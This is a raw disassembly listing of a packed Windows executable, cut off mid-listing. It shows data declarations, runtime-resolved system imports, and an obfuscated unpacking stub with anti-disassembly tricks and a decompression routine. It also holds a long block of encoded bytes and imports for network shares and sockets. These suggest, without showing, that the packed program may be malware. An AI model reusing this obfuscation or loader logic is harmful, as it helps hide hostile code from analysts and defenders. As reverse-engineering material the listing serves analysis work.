dw 0 ; DATA XREF: .nsp0:00415597w ; .nsp0:00415631w dword_4D49E4 dd 0 align 10h dword_4D49F0 dd 0 ; .nsp0:0041563Fo dword_4D49F4 dd 0 byte_4D49F8 db 0 ; DATA XREF: .nsp0:00415569w byte_4D49F9 db 0 ; DATA XREF: .nsp0:0041556Fw word_4D49FA dw 0 ; DATA XREF: .nsp0:0041557Cw dword_4D49FC dd 7 dup(0) dword_4D4A18 dd 0 ; .nsp0:00415663r dword_4D4A1C dd 100h dup(0) ; .nsp0:004156A6o dword_4D4E1C dd 0B3h dup(0) ; sub_415846o ... dword_4D50E8 dd 0F4Dh dup(0) dword_4D8E1C dd 0 ; sub_415846+Eo ... dword_4D8E20 dd 0 ; sub_415DEA+12r align 8 dword_4D8E28 dd 0Eh dup(0) dword_4D8E60 dd 80h dup(0) dword_4D9060 dd 200h dup(0) ; .nsp0:0041794Fo ... dword_4D9860 dd 200h dup(0) ; .nsp0:00417966o ... dword_4DA060 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_4176E9+94r dword_4DA064 dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_417B4F+55r ... dword_4DA068 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_4176E9+D6r ... dword_4DA06C dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_4176E9+35r ... dword_4DA070 dd 80h dup(0) dword_4DA270 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_4176E9+A2r align 8 dword_4DA278 dd 0 ; sub_417517+103r ... dword_4DA27C dd 0 ; sub_417A19+107w dword_4DA280 dd 0 ; sub_417A19+10Dw ... dword_4DA284 dd 0 ; sub_417B4F+4Fr dword_4DA288 dd 0 ; sub_417EC3:loc_418045w ... dword_4DA28C dd 0 ; sub_417D85+12o ... dd 0 dword_4DA294 dd 0 ; sub_418065+3Ar dd 7Fh dup(0) dword_4DA494 dd 0 ; sub_418065+4Aw dd 16ECh dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: .nsp0:0043FD1Co db 3 dup(0) byte_4E004F db 0 ; DATA XREF: .nsp0:00439359o ; .nsp0:00439B69o dd 256h dup(0) dword_4E09A8 dd 0 dword_4E09AC dd 81h dup(0) ; sub_417D85+3Co ... dword_4E0BB0 dd 17h dup(0) ; sub_419083+131o ... dword_4E0C0C dd 80h dup(0) ; .nsp0:00419EC1o dword_4E0E0C dd 0 ; sub_4193FD+4Dr ... dword_4E0E10 dd 17h dup(0) ; sub_419CE8+12Do dword_4E0E6C dd 80h dup(0) ; sub_41933E+7Do ... byte_4E106C db 0 ; DATA XREF: sub_4193FD+29r ; sub_4193FD+34w align 10h dword_4E1070 dd 80h dup(0) ; sub_419654+88o ... dword_4E1270 dd 81h dup(0) ; sub_418F5A+50o ... dword_4E1474 dd 0 ; .nsp0:0041A3ECr dword_4E1478 dd 0 ; .nsp0:0041A3CFr ... dword_4E147C dd 0 ; .nsp0:0041A570o dword_4E1480 dd 0 dword_4E1484 dd 0Dh dup(0) dword_4E14B8 dd 0 ; .nsp0:0041A4D0r align 10h dword_4E14C0 dd 0Eh dup(0) dword_4E14F8 dd 0 ; .nsp0:loc_41D939w ... dword_4E14FC dd 0 ; sub_41E142:loc_41E1DCw ... dword_4E1500 dd 0 dword_4E1504 dd 0 dword_4E1508 dd 0 dword_4E150C dd 0 dword_4E1510 dd 0 align 10h dword_4E1520 dd 0 ; sub_4258F3+9r ... dword_4E1524 dd 0 dword_4E1528 dd 0 ; sub_425CC1+4r ... dd 3 dup(0) byte_4E1538 db 0 ; DATA XREF: sub_41BE83+2Dw ; sub_422608+5r align 4 dword_4E153C dd 0 dword_4E1540 dd 0 ; sub_41BE83+8Bw dword_4E1544 dd 0 ; sub_41C794+91w dd 0 dword_4E154C dd 0 dword_4E1550 dd 0 ; sub_41D721+A4w align 8 word_4E1558 dw 0 ; DATA XREF: sub_41D721+55r ; sub_41D721+9Ao word_4E155A dw 0 ; DATA XREF: sub_41D721+48r db 2 dup(0) word_4E155E dw 0 ; DATA XREF: sub_41D721+3Br word_4E1560 dw 0 ; DATA XREF: sub_41D721+2Er word_4E1562 dw 0 ; DATA XREF: sub_41D721+21r align 8 dword_4E1568 dd 0 ; sub_422DE6:loc_422DF8r ... align 10h dword_4E1570 dd 0 dword_4E1574 dd 0 dword_4E1578 dd 0 ; sub_41BBCBr ... dword_4E157C dd 0 ; sub_41FEA7+4w ... dword_4E1580 dd 0 align 8 dword_4E1588 dd 0 ; sub_421942+1Ar ... byte_4E158C db 0 ; DATA XREF: sub_42183E+3r ; sub_42183E+98r ... align 10h dword_4E1590 dd 0 ; sub_421A20+21w ... byte_4E1594 db 0 ; DATA XREF: sub_421A20+51w align 4 dword_4E1598 dd 0 ; sub_421FF1+3Ar ... dword_4E159C dd 0 ; sub_421FF1+43r ... dword_4E15A0 dd 0 ; sub_421DBD+5r dword_4E15A4 dd 0 dword_4E15A8 dd 2 dup(0) dword_4E15B0 dd 0 ; sub_41DC7A+6Er ... align 10h dword_4E15C0 dd 0 ; sub_41DF04+BFr ... align 8 dword_4E15C8 dd 0 ; sub_4202AB:loc_4202D4w ... dword_4E15CC dd 0 ; .nsp0:00422A07w ... dword_4E15D0 dd 0 ; .nsp0:00422C50w ... dword_4E15D4 dd 41h dup(0) dword_4E16D8 dd 0 ; sub_4230EC+23w ... dword_4E16DC dd 0 dword_4E16E0 dd 0 dword_4E16E4 dd 0 ; .nsp0:loc_423BB9w word_4E16E8 dw 0 ; DATA XREF: sub_424449+1Ao ; sub_424449+46r byte_4E16EA db 0 ; DATA XREF: sub_424449+39r align 4 dword_4E16EC dd 7 dup(0) dword_4E1708 dd 0 ; sub_424449+5Co dword_4E170C dd 0 dword_4E1710 dd 0 dword_4E1714 dd 0 dword_4E1718 dd 0 ; sub_42456C+38r ... align 10h dword_4E1720 dd 0 ; sub_42464C+63w ... align 8 dword_4E1728 dd 0 ; sub_42464C+46r dword_4E172C dd 10h dup(0) word_4E176C dw 0 ; DATA XREF: sub_4248AA+A8r word_4E176E dw 0 ; DATA XREF: sub_42464C+54r ; sub_4248AA+DBr ... word_4E1770 dw 0 ; DATA XREF: sub_4248AA+CAr word_4E1772 dw 0 ; DATA XREF: sub_4248AA+D3r ; sub_4248AA:loc_42499Cr word_4E1774 dw 0 ; DATA XREF: sub_4248AA+C0r word_4E1776 dw 0 ; DATA XREF: sub_4248AA+B8r word_4E1778 dw 0 ; DATA XREF: sub_4248AA+B0r word_4E177A dw 0 ; DATA XREF: sub_4248AA+9Er dword_4E177C dd 0 dword_4E1780 dd 10h dup(0) word_4E17C0 dw 0 ; DATA XREF: sub_4248AA+46r word_4E17C2 dw 0 ; DATA XREF: sub_42464C:loc_4246C3r ; sub_4248AA+78r ... word_4E17C4 dw 0 ; DATA XREF: sub_4248AA+67r word_4E17C6 dw 0 ; DATA XREF: sub_4248AA+70r ; sub_4248AA:loc_42492Er word_4E17C8 dw 0 ; DATA XREF: sub_4248AA+5Dr word_4E17CA dw 0 ; DATA XREF: sub_4248AA+55r word_4E17CC dw 0 ; DATA XREF: sub_4248AA+4Dr word_4E17CE dw 0 ; DATA XREF: sub_4248AA+3Er dword_4E17D0 dd 0 dword_4E17D4 dd 0 ; sub_42464C:loc_424798r ... dword_4E17D8 dd 0 dword_4E17DC dd 0 ; resolved to->USER32.MessageBoxA ; .nsp0:00424CDBw ... dword_4E17E0 dd 0 ; resolved to->USER32.GetActiveWindow ; .nsp0:loc_424CFCr dword_4E17E4 dd 0 ; resolved to->USER32.GetLastActivePopup ; .nsp0:00424D0Dr dword_4E17E8 dd 0 dword_4E17EC dd 0 ; sub_425781+6Do dword_4E17F0 dd 0 ; sub_425781+44o dword_4E17F4 dd 0 ; sub_425781+37o dword_4E17F8 dd 0 ; sub_425781+51o align 10h dword_4E1800 dd 0 ; sub_425D2F+48w ... dword_4E1804 dd 0 ; .nsp0:00426866w ... dword_4E1808 dd 0 ; .nsp0:loc_426B0Fw byte_4E180C db 0 ; DATA XREF: sub_40D78Er sub_40D78E+9w ... align 10h dd 4 dup(0) dword_4E1820 dd 0 ; sub_41EF81+2Ar ... dd 3Fh dup(0) dword_4E1920 dd 0 ; sub_41EF81+Cr ... dword_4E1924 dd 0 ; sub_41F302+14r ... dd 6 dup(0) dword_4E1940 dd 400h dup(0) ; .nsp0:00442B40o dword_4E2940 dd 0 ; sub_41E2C0+56r ... dword_4E2944 dd 0 ; .nsp0:0041FE21w ... align 10h dword_4E2950 dd 3 dup(0) ; .nsp0:0041FE7Fo ... dword_4E295C dd 0 ; .nsp0:0041FE6Bw ... byte_4E2960 db 0 ; DATA XREF: .nsp0:loc_420059w ; .nsp0:loc_420076w ... align 4 dd 3Fh dup(0) byte_4E2A60 db 0 ; DATA XREF: .nsp0:0041FDBDo ; sub_41FF24+6o byte_4E2A61 db 0 ; DATA XREF: sub_41C081+5Dr ; .nsp0:loc_41FDF5w ... align 4 dd 40h dup(0) dword_4E2B64 dd 0 ; .nsp0:0041FE66w ... dword_4E2B68 dd 0 ; sub_41EA06+5r ... dword_4E2B6C dd 0 ; sub_41E3D2+259r ... dword_4E2B70 dd 0 ; sub_41E3D2+310w ... dword_4E2B74 dd 0 ; sub_41E3D2+22Cr ... dword_4E2B78 dd 0 ; sub_41E3A7r ... dword_4E2B7C dd 0 ; sub_41E3A7+8r ... dword_4E2B80 dd 0 ; sub_41BA78+A9r ... dword_4E2B84 dd 0 ; .nsp0:00422D9Dr dword_4E2B88 dd 0 ; sub_4258F3r dword_4E2B8C dd 0 ; sub_4200D2+11w ... dword_4E2B90 dd 0 ; sub_41D673+13r ... dword_4E2B94 dd 0 ; sub_41BE83+57r ... byte_4E2B98 db 0 ; DATA XREF: sub_4265A4+15r ; sub_4265A4+1Ew align 4 dd 119h dup(0) db 90h ; --------------------------------------------------------------------------- pusha call loc_4E300A ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- jmp short loc_4E300E ; --------------------------------------------------------------------------- loc_4E300A: ; CODE XREF: .nsp0:004E3002j pop ebp inc ebp push ebp retn ; --------------------------------------------------------------------------- loc_4E300E: ; CODE XREF: .nsp0:004E3008j call loc_4E3014 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4E3014: ; CODE XREF: .nsp0:loc_4E300Ej pop ebp mov ebx, 0FFFFFFEDh add ebx, ebp sub ebx, 0E3000h cmp byte ptr [ebp+4Dh], 1 jnz short loc_4E3034 mov esi, [esp+28h] cmp esi, 1 mov [ebp+4Eh], ebx jnz short loc_4E3065 loc_4E3034: ; CODE XREF: .nsp0:004E3026j lea eax, [ebp+53h] push eax push ebx push dword ptr [ebp+9EDh] lea eax, [ebp+35h] push eax jmp loc_4E30CA ; --------------------------------------------------------------------------- dd 9B0000h, 30000h, 7C809AE4h, 9DE000h, 7C801D77h, 7C80B6A1h dd 0 db 0 ; --------------------------------------------------------------------------- loc_4E3065: ; CODE XREF: .nsp0:004E3032j mov eax, 23A5C0F8h push eax push eax add eax, [ebp+4Eh] pop ebx test eax, eax jz short loc_4E3090 jmp short loc_4E3077 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4E3077: ; CODE XREF: .nsp0:004E3074j cmp ebx, 23A5C0F8h jz short loc_4E30B4 xor edx, edx push esi push 0 push esi push dword ptr [ebp+4Eh] call eax pop esi cmp esi, 0 jnz short loc_4E30B4 loc_4E3090: ; CODE XREF: .nsp0:004E3072j xor edx, edx mov eax, [ebp+41h] test eax, eax jz short loc_4E30A0 push edx push edx push dword ptr [ebp+35h] call eax loc_4E30A0: ; CODE XREF: .nsp0:004E3097j mov eax, [ebp+35h] test eax, eax jz short loc_4E30B4 push 8000h push 0 push dword ptr [ebp+35h] call dword ptr [ebp+3Dh] loc_4E30B4: ; CODE XREF: .nsp0:004E307Dj ; .nsp0:004E308Ej ... pop ebx or ebx, ebx popa jnz short loc_4E30C0 push 1 pop eax retn 0Ch ; --------------------------------------------------------------------------- loc_4E30C0: ; CODE XREF: .nsp0:004E30B8j xor eax, eax neg eax sbb eax, eax inc eax retn 0Ch ; --------------------------------------------------------------------------- loc_4E30CA: ; CODE XREF: .nsp0:004E3043j call near ptr loc_4E30DB+1 xchg eax, ecx div bh db 64h int 82h xchg eax, ebx ror cl, 1 into out dx, eax cld loc_4E30DB: ; CODE XREF: .nsp0:loc_4E30CAp test [edi], ecx test [ebx], eax ; --------------------------------------------------------------------------- db 0 dd 0CB800000h, 0EE85E83h, 7E000000h, 8AF52CDFh, 567118FBh dd 0E2ADC4D7h, 48E68173h, 5840D958h, 0AC72C768h, 7E838h dd 60630000h, 8CBFDE19h, 815E5AD5h, 837C0h, 4EBCB900h dd 0C1810355h, 0FCAAB327h, 9566C681h, 30FF1B6Ah, 0EE95Fh dd 9F3E0000h, 0BB4AB5ECh, 971631D8h, 33A26D84h, 0ECA3EF81h dd 0BB665F2Eh, 0F781CCFAh, 3C269BA0h, 9E857h, 52DD0000h dd 9ED92023h, 0F954C7Fh, 5A5AF3B7h, 3359F781h, 4E685D9Bh dd 816EA6ADh, 250C67EBh, 51575E62h, 38C0Fh, 0B70F0000h dd 8F5ED2h, 0BE03E883h, 4D5C6261h, 0F08B6648h, 93850F49h dd 66FFFFFFh, 0D8BBF38Bh, 0E80BCC74h, 6, 6D849716h, 13E933A2h dd 8F000000h, 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h dd 0E85A954Ch, 0Dh, 0E4777611h, 5013024Dh, 7C6F4E49h, 0DE905h dd 26810000h, 0B2BD1467h, 0FEB98003h, 5E75AC5Fh, 77EC281h dd 0C1810000h, 22044962h, 68h, 0DCD18100h, 5F2372CAh, 10E8h dd 8661C800h, 129D7447h, 5E99E0E3h, 6A550C3Fh, 0F08B665Bh dd 3A048B5Bh, 0E88187B7h, 6079E054h, 0FE9h, 41284B00h dd 7DD427E6h, 7940C372h, 356C1FBEh, 4BFDF081h, 81500B36h dd 532822E6h, 0F0815E29h, 53F3A0F2h, 0D346BB66h, 59BE6650h dd 3A048F35h, 2AF18166h, 64C18155h, 83429A38h, 0F18B04EFh dd 0F98CFF81h, 850FFFFFh, 31h, 0FE8h, 1E80B00h, 3D94E7A6h dd 39008332h, 0F52CDF7Eh, 59DE8B66h, 21E9h, 3A655C00h dd 6E148EBh, 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0FF6FE9DBh dd 8990FFFFh, 45BCAF8Eh, 7B2CB9Ah, 0BE8h, 0FD54A700h, 0F9C043F2h dd 0B5EC9F3Eh, 0AEAAD868h, 0E281662Bh, 5E590C6Dh, 81C78B66h dd 669C6h, 0C6D98000h, 68h, 86526800h, 0D9686B8Ch, 0E97A0D57h dd 11h, 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 5B5A5905h dd 0FFCAB70Fh, 0FE683334h, 5836635Ah, 8158535Fh, 0BD6942F7h dd 816EB225h, 0C41D53EFh, 0E0ED8072h, 0F690EF81h, 0BF0F5FA1h dd 1E3C89D0h, 8BCEBF0Fh, 2EB83C7h, 128A0Fh, 0DE90000h dd 41000000h, 7DD427E6h, 7940C372h, 356C1FBEh, 0DE84B4Bh dd 0B1000000h, 0ED041796h, 0E970B322h, 0A59C0F6Eh, 5ACAB70Fh dd 0FA50FB81h, 850FFFFFh, 0FFFFFF93h, 8B66ECB1h, 10E8F3h dd 0D1F80000h, 0DA43736h, 910D3C2h, 0C53C2F0Eh, 81664B1Ah dd 5A9C6CEEh, 5A4C281h, 0BE90000h, 17000000h, 0B322ED04h dd 0F6EE970h, 0BBA59Ch, 8B000000h, 1334FFF7h, 15EF8166h dd 0B966586Fh, 0E881E791h, 49EF4D86h, 82D18166h, 47C0818Ch dd 81602706h, 717E74C0h, 89F88B36h, 9E81A04h, 3D000000h dd 39008332h, 0F52CDF7Eh, 2EB835Fh, 0EC2EBF66h, 0FB814B4Bh dd 0FFFFFAD8h, 0FFB3850Fh, 0E8FFFFh, 5D000000h, 5B5D895Bh dd 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h, 85895975h dd 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h, 2E4h dd 648B1CEBh, 67640824h, 68Fh, 6104C483h, 5063458Dh, 0E85F55FFh dd 2DEh, 676409EBh, 68Fh, 0EB24C483h, 3048001Bh, 0B6A1004Eh dd 656B7C80h, 6C656E72h, 642E3233h, 0E8006C6Ch, 29Ch, 8CB58DFCh dd 0AD000000h, 1B74C00Bh, 0CB9F88Bh, 0F3000000h, 10EBA4h dd 20004010h, 19B2BB43h, 0FD80AA11h, 89A35ACDh, 429A5h dd 68406A00h, 1000h, 408B5FFh, 6A0000h, 3F095FFh, 85890000h dd 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h, 6A000001h dd 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h, 4318589h dd 85890000h, 1D0h, 0A16764h, 2D858900h, 8B000004h, 858B5B55h dd 1D0h, 858B0289h, 408h, 8D044289h, 39F85h, 55408B00h dd 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h, 0CC958B14h dd 0BB000001h, 1F8h, 0C1A7C8Bh, 1E74FF0Bh, 101A4C8Bh, 1174C90Bh dd 1D0BD03h, 748B0000h, 0F203141Ah, 0F302F9C1h, 28C383A5h dd 858BDAEBh, 1CCh, 0D0958B50h, 52000001h, 0DA03188Bh dd 3E4858Bh, 3890000h, 3E8858Bh, 43890000h, 0EC858B04h dd 89000003h, 5E5F0843h, 304468Bh, 0C78589C7h, 8B000001h dd 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh, 6A5300h, 16A006Ah dd 85E8B57h, 6853DF03h, 8000h, 0FF56006Ah, 3F495h, 0E0006800h dd 0C3009Dh, 9800h db 0, 9Bh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp pusha push ebp mov esi, [ebp+8] mov edi, [ebp+0Ch] cld mov dl, 80h loc_4E35E5: ; CODE XREF: .nsp0:loc_4E35F4j mov al, [esi] inc esi mov [edi], al inc edi loc_4E35EB: ; CODE XREF: .nsp0:004E3649j ; .nsp0:004E368Ej ... add dl, dl jnz short loc_4E35F4 mov dl, [esi] inc esi adc dl, dl loc_4E35F4: ; CODE XREF: .nsp0:004E35EDj jnb short loc_4E35E5 add dl, dl jnz short loc_4E35FF mov dl, [esi] inc esi adc dl, dl loc_4E35FF: ; CODE XREF: .nsp0:004E35F8j jnb short loc_4E364B xor eax, eax add dl, dl jnz short loc_4E360C mov dl, [esi] inc esi adc dl, dl loc_4E360C: ; CODE XREF: .nsp0:004E3605j jnb loc_4E36E8 add dl, dl jnz short loc_4E361B mov dl, [esi] inc esi adc dl, dl loc_4E361B: ; CODE XREF: .nsp0:004E3614j adc eax, eax add dl, dl jnz short loc_4E3626 mov dl, [esi] inc esi adc dl, dl loc_4E3626: ; CODE XREF: .nsp0:004E361Fj adc eax, eax add dl, dl jnz short loc_4E3631 mov dl, [esi] inc esi adc dl, dl loc_4E3631: ; CODE XREF: .nsp0:004E362Aj adc eax, eax add dl, dl jnz short loc_4E363C mov dl, [esi] inc esi adc dl, dl loc_4E363C: ; CODE XREF: .nsp0:004E3635j adc eax, eax jz short loc_4E3646 push edi sub edi, eax mov al, [edi] pop edi loc_4E3646: ; CODE XREF: .nsp0:004E363Ej mov [edi], al inc edi jmp short loc_4E35EB ; --------------------------------------------------------------------------- loc_4E364B: ; CODE XREF: .nsp0:loc_4E35FFj mov eax, 1 loc_4E3650: ; CODE XREF: .nsp0:loc_4E3664j add dl, dl jnz short loc_4E3659 mov dl, [esi] inc esi adc dl, dl loc_4E3659: ; CODE XREF: .nsp0:004E3652j adc eax, eax add dl, dl jnz short loc_4E3664 mov dl, [esi] inc esi adc dl, dl loc_4E3664: ; CODE XREF: .nsp0:004E365Dj jb short loc_4E3650 sub eax, 2 jnz short loc_4E3693 mov ecx, 1 loc_4E3670: ; CODE XREF: .nsp0:loc_4E3684j add dl, dl jnz short loc_4E3679 mov dl, [esi] inc esi adc dl, dl loc_4E3679: ; CODE XREF: .nsp0:004E3672j adc ecx, ecx add dl, dl jnz short loc_4E3684 mov dl, [esi] inc esi adc dl, dl loc_4E3684: ; CODE XREF: .nsp0:004E367Dj jb short loc_4E3670 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E35EB ; --------------------------------------------------------------------------- loc_4E3693: ; CODE XREF: .nsp0:004E3669j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E36A1: ; CODE XREF: .nsp0:loc_4E36B5j add dl, dl jnz short loc_4E36AA mov dl, [esi] inc esi adc dl, dl loc_4E36AA: ; CODE XREF: .nsp0:004E36A3j adc ecx, ecx add dl, dl jnz short loc_4E36B5 mov dl, [esi] inc esi adc dl, dl loc_4E36B5: ; CODE XREF: .nsp0:004E36AEj jb short loc_4E36A1 cmp eax, 7D00h jnb short loc_4E36D8 cmp eax, 500h jb short loc_4E36D3 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E35EB ; --------------------------------------------------------------------------- loc_4E36D3: ; CODE XREF: .nsp0:004E36C3j cmp eax, 7Fh ja short loc_4E36DB loc_4E36D8: ; CODE XREF: .nsp0:004E36BCj add ecx, 2 loc_4E36DB: ; CODE XREF: .nsp0:004E36D6j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E35EB ; --------------------------------------------------------------------------- loc_4E36E8: ; CODE XREF: .nsp0:loc_4E360Cj mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E3704 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E35EB ; --------------------------------------------------------------------------- loc_4E3704: ; CODE XREF: .nsp0:004E36F0j pop ebp sub edi, [ebp+0Ch] mov [ebp-4], edi popa pop ebp retn 8 ; --------------------------------------------------------------------------- dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h, 611C244Ch dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah dd 7C8000h, 540001D6h, 0F2000E3Bh, 158h, 300h, 2 dup(400000h) dd 3 dup(0) dd 281E0h, 0 dd 12FFA4h, 12FFE0h, 9B0000h, 1000h, 25E00h, 11E70h, 27000h dd 1E00h, 16CBh, 29000h, 1A400h, 995Ch, 60h dup(0) dd 2000h, 8, 6 dup(0) dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 0E3A10h, 0E39FCh, 3 dup(0) dd 0E3AC8h, 0E3AF5h, 3 dup(0) dd 0E3AD0h, 0E3AFDh, 3 dup(0) dd 0E3ADBh, 0E3B05h, 3 dup(0) dd 0E3AE8h, 0E3B0Dh, 5 dup(0) db 6Dh ; m db 70h, 72h, 2Eh db 64h ; d db 2 dup(6Ch), 0 db 77h ; w db 73h, 32h, 5Fh db 33h ; 3 db 32h, 2Eh, 64h db 6Ch ; l db 6Ch, 0, 6Fh db 6Ch ; l db 65h, 61h, 75h db 74h ; t db 33h, 32h, 2Eh db 64h ; d db 2 dup(6Ch), 0 db 6Bh ; k db 65h, 72h, 6Eh db 65h ; e db 6Ch, 33h, 32h db 2Eh ; . db 64h, 2 dup(6Ch) db 0 db 7Fh, 51h, 0B2h db 71h ; q align 4 db 0 db 0C9h, 46h, 0ABh db 71h ; q align 4 db 0 db 0EAh, 6Ah, 12h db 77h ; w align 4 db 0 db 9, 2Ah, 81h db 7Ch ; | align 4 db 0 db 2 dup(0), 57h aNetaddconnecti db 'NetAddConnection2A',0 align 4 db 0 aVariantchanget db 'VariantChangeTypeEx',0 db 2 dup(0), 52h aAiseexception db 'aiseException',0 align 4 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 